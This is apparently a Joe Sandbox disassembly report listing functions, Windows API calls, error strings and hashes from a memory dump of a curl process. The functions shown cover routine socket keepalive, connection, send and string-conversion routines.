API String ID: 3368343417-0
Opcode ID: 2a5e595a3942ef05c9ec45986d7b3cd8e5659ecdf3a93e9023eee62640fdac0e
Instruction ID: c8ef8f301edb244be7022a40da18fb6ea86d3322e5147b2cc6d30bf8977c3a42
Opcode Fuzzy Hash: 2a5e595a3942ef05c9ec45986d7b3cd8e5659ecdf3a93e9023eee62640fdac0e
Instruction Fuzzy Hash: AE317031924786DEDF11AFA9EC19B9D7BA5AB48311F20426FE404672A1DBF448A0CF15

Function 001DCF00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 71networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000008,?,00000004), ref: 001DCF32
WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 001DCFAC
WSAGetLastError.WS2_32 ref: 001DCFB6

Strings

Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 001DCFBE
Failed to set SO_KEEPALIVE on fd %d, xrefs: 001DCF3D

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorIoctlLastsetsockopt
String ID: Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d
API String ID: 1819429192-277924715
Opcode ID: 0abc77f613e772b442866dcf7dd72b5af5c29dd7f1353ce14cbe5f5cbae7d25b
Instruction ID: 6296d057fa333591abdfbf0a6c680d06cde10f3d0cc6db3aa39c05fb136f5614
Opcode Fuzzy Hash: 0abc77f613e772b442866dcf7dd72b5af5c29dd7f1353ce14cbe5f5cbae7d25b
Instruction Fuzzy Hash: A221CFB26047416BE310EF349C42BAB77E8AB84700F40062EF554D61C2E764D6048792

Function 002CF370 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46libraryfileloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,CreateFile2,00000001,001C5539,?,001C5539,00000000,00000109), ref: 002CF389
GetProcAddress.KERNEL32(00000000), ref: 002CF390
CreateFileW.KERNELBASE(00000000,001C5539,?,001C5539,00000001,?,00000000,00000001,001C5539,?,001C5539,00000000,00000109), ref: 002CF3EE

Strings

kernel32.dll, xrefs: 002CF384
CreateFile2, xrefs: 002CF37F

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: AddressCreateFileHandleModuleProc
String ID: CreateFile2$kernel32.dll
API String ID: 2580138172-1988006178
Opcode ID: df90aae9618b515aa9319402163bc94106907624daafcae48558df0689644553
Instruction ID: bf395e99883cfcd07057ee1196553da7064237d41b78e28ee3baa342df1d7596
Opcode Fuzzy Hash: df90aae9618b515aa9319402163bc94106907624daafcae48558df0689644553
Instruction Fuzzy Hash: EA11237292028EAFCF019F94DD05BAE7BB5FF08311F004269FD14A6250D771D9209B91

Function 002D83C8 Relevance: 7.8, APIs: 5, Instructions: 253COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,00307F08,7FFFFFFF,00000000,?,002D869B,00000000,00D51038,00000000,00000000,?,?,?,?,00000000), ref: 002D8477
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,002D869B,00000000,00D51038,00000000,00000000,?,?,?,?), ref: 002D84F1
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,002D869B,00000000,00D51038,00000000,00000000,?,?,?,?), ref: 002D856C
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00D51038,00000000,00000000,?,002D869B,00000000,00D51038,00000000,00000000,?,?,?,?), ref: 002D8585

Part of subcall function 002BFD90: RtlAllocateHeap.NTDLL(00D40000,00000000,00000001,00000001,?,?,?,002DA609,00000001,00000000), ref: 002BFDD3

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00D51038,00000000,00000000,?,002D869B,00000000,00D51038,00000000,00000000,?,?,?,?), ref: 002D8602

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapInfo
String ID:
API String ID: 1443698708-0
Opcode ID: 5bef42c9993d870f0a91ebc8d62cd11375a0c3958b4fbf4c8978db4f992eb684
Instruction ID: 1614f9498a1b1dbbfb17f3e9b1dc3a4497baed22f9abefe80239ee4235c814c0
Opcode Fuzzy Hash: 5bef42c9993d870f0a91ebc8d62cd11375a0c3958b4fbf4c8978db4f992eb684
Instruction Fuzzy Hash: 4081AD72E2025B9FDF219F94D885AEF7BB9EF49320F15415BE855A7341DA30DC208BA0

Function 001DDAD8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145networkCOMMON

Download Yara Rule

APIs

Part of subcall function 001DF690: WSASetLastError.WS2_32(00002726,00000000), ref: 001DF6E9

WSASetLastError.WS2_32(00000000), ref: 001DDC0E
GetTickCount64.KERNEL32 ref: 001DDD67

Strings

Failed to connect to %s port %ld: %s, xrefs: 001DDDF0
After %ldms connect time, move on!, xrefs: 001DDB41
connect to %s port %ld failed: %s, xrefs: 001DDC69

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast$Count64Tick
String ID: After %ldms connect time, move on!$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 202284722-601300488
Opcode ID: 4a115693ccda5e129985ed521f7cc6b4f6006430cedf69ebb5f095b3743dd390
Instruction ID: 826b686b6b0d4699d6a661f30533c81b6a286424110ce3b9e96fbdb4a477e325
Opcode Fuzzy Hash: 4a115693ccda5e129985ed521f7cc6b4f6006430cedf69ebb5f095b3743dd390
Instruction Fuzzy Hash: 1551E271700702ABCB18DE28E885B6FB7A5BF95304F44422EF85A87381DB70E915CB92

Function 002C80B4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

Part of subcall function 002C8F5F: EnterCriticalSection.KERNEL32(00000000,?,002C5D8A,0000000D), ref: 002C8F8A

GetStartupInfoW.KERNEL32(?,00307DE8,00000064), ref: 002C8147
GetFileType.KERNEL32(00000001), ref: 002C81DB

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CriticalEnterFileInfoSectionStartupType
String ID:
API String ID: 4158522439-0
Opcode ID: d9d7c661c94629a17d0e4dbc772cf02bf163c450eeb891123d6a599f0479507a
Instruction ID: ce2abc8bc531ec7544031a0aa29863ceac8ecc6c5b16266e705b6ed215f15030
Opcode Fuzzy Hash: d9d7c661c94629a17d0e4dbc772cf02bf163c450eeb891123d6a599f0479507a
Instruction Fuzzy Hash: BC81F471D246828FCB11CF68DC44BA9BBF0AF09324F24935ED4A6AB391CB749812CF51

Function 001D0F90 Relevance: 6.1, APIs: 4, Instructions: 130sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 001D0FB2
GetTickCount64.KERNEL32 ref: 001D100B
WSASetLastError.WS2_32(00002726,00000000,?,000003E8,00000000,?,?,?,?,?,?,?,?,?,001D11AC), ref: 001D1077
Sleep.KERNELBASE(000003E8,00000000,?,000003E8,00000000,?,?,?,?,?,?,?,?,?,001D11AC), ref: 001D10E5

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick$ErrorLastSleep
String ID:
API String ID: 2458332380-0
Opcode ID: 2fbc33eb284a58d1722b7a6623501f3e2d6769b2e98e2565af648d1e84f0b1eb
Instruction ID: dc1b5ecb1124969a47d3842e2d296c57d62e4ee32eb767f1825db2431b988ace
Opcode Fuzzy Hash: 2fbc33eb284a58d1722b7a6623501f3e2d6769b2e98e2565af648d1e84f0b1eb
Instruction Fuzzy Hash: B2411332E002116BC729AA28D88576F7399EBC4720F15423FF8499B381EB24DE4AC7D1

Function 001D3CB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 001D3CCD
WSAGetLastError.WS2_32 ref: 001D3CE4

Strings

Send failure: %s, xrefs: 001D3D0B

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLastsend
String ID: Send failure: %s
API String ID: 1802528911-857917747
Opcode ID: fa8ad4661b014fbf50a30f4543bc057312132962ff8925034f4dd2ff4c4147ab
Instruction ID: f3f926fd91a17986257803aa7c2cdceb1d2dc5be0c39c97c1107c9c6c9de634a
Opcode Fuzzy Hash: fa8ad4661b014fbf50a30f4543bc057312132962ff8925034f4dd2ff4c4147ab
Instruction Fuzzy Hash: FE01D176705204AFCB105FA9EC48B9ABBE5FB88726F104176F95C93390C7329D209F41

Function 002085F0 Relevance: 4.6, APIs: 3, Instructions: 132networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,?,?,?), ref: 0020860B
freeaddrinfo.WS2_32(?,?,?,?,?,?,?,?,00000000), ref: 00208710
WSASetLastError.WS2_32(00002AF9,?,?,?,?,?,?,?,00000000), ref: 0020876E

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLastfreeaddrinfogetaddrinfo
String ID:
API String ID: 1817844550-0
Opcode ID: c50d88765b518b9d66a2272f7938f50050d96f4b26e0ddbc6fdb61cd158a768d
Instruction ID: 057378dca3abc816d97f4e6ff4fa5e66c0bd640473a0ab0c7f224b809fd8649a
Opcode Fuzzy Hash: c50d88765b518b9d66a2272f7938f50050d96f4b26e0ddbc6fdb61cd158a768d
Instruction Fuzzy Hash: 67419D746107069FC720DF29E984A17FBF8FF54700F118929E895C32A2DB75E968CB92

Function 002C3646 Relevance: 4.5, APIs: 3, Instructions: 42threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 002C3671
ExitThread.KERNEL32 ref: 002C3678
GetCurrentThreadId.KERNEL32 ref: 002C367E

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Thread$CurrentErrorExitLast
String ID:
API String ID: 3034690753-0
Opcode ID: 421e0b6727c3fa912b9a710d0f3101829a52e916c404fdb17290badbaade82aa
Instruction ID: 4fb8567da390759702ed0314d60ed1b5d11d6faf2d48b8b58b4ef12a831cbfe0
Opcode Fuzzy Hash: 421e0b6727c3fa912b9a710d0f3101829a52e916c404fdb17290badbaade82aa
Instruction Fuzzy Hash: CE016275825B11ABC721EF74D80AE4A7BE8AF493547204A1DF845CB301EB34ED55CF94

Function 001DD530 Relevance: 4.5, APIs: 3, Instructions: 38networkCOMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE ref: 001DD54D
getsockopt.WS2_32(?,0000FFFF,00001007,00000000,00000000), ref: 001DD568
WSAGetLastError.WS2_32 ref: 001DD572

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLastSleepgetsockopt
String ID:
API String ID: 3033474312-0
Opcode ID: 8034ecaede4ffcf62f70df561e002c9448de7bfefb1169de1e850431500ca8cb
Instruction ID: ce16123358e04e92ae2a1a495931ed7ebc6c3217caa3f6cd7c4095ea89fd5808
Opcode Fuzzy Hash: 8034ecaede4ffcf62f70df561e002c9448de7bfefb1169de1e850431500ca8cb
Instruction Fuzzy Hash: DCF0F0B1108302BBE7209F14FC49BA77BF8AF80708F24412BF549C6390D774C8088BA2

Function 001CC720 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104), ref: 001CC783

Strings

COLUMNS, xrefs: 001CC75E

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
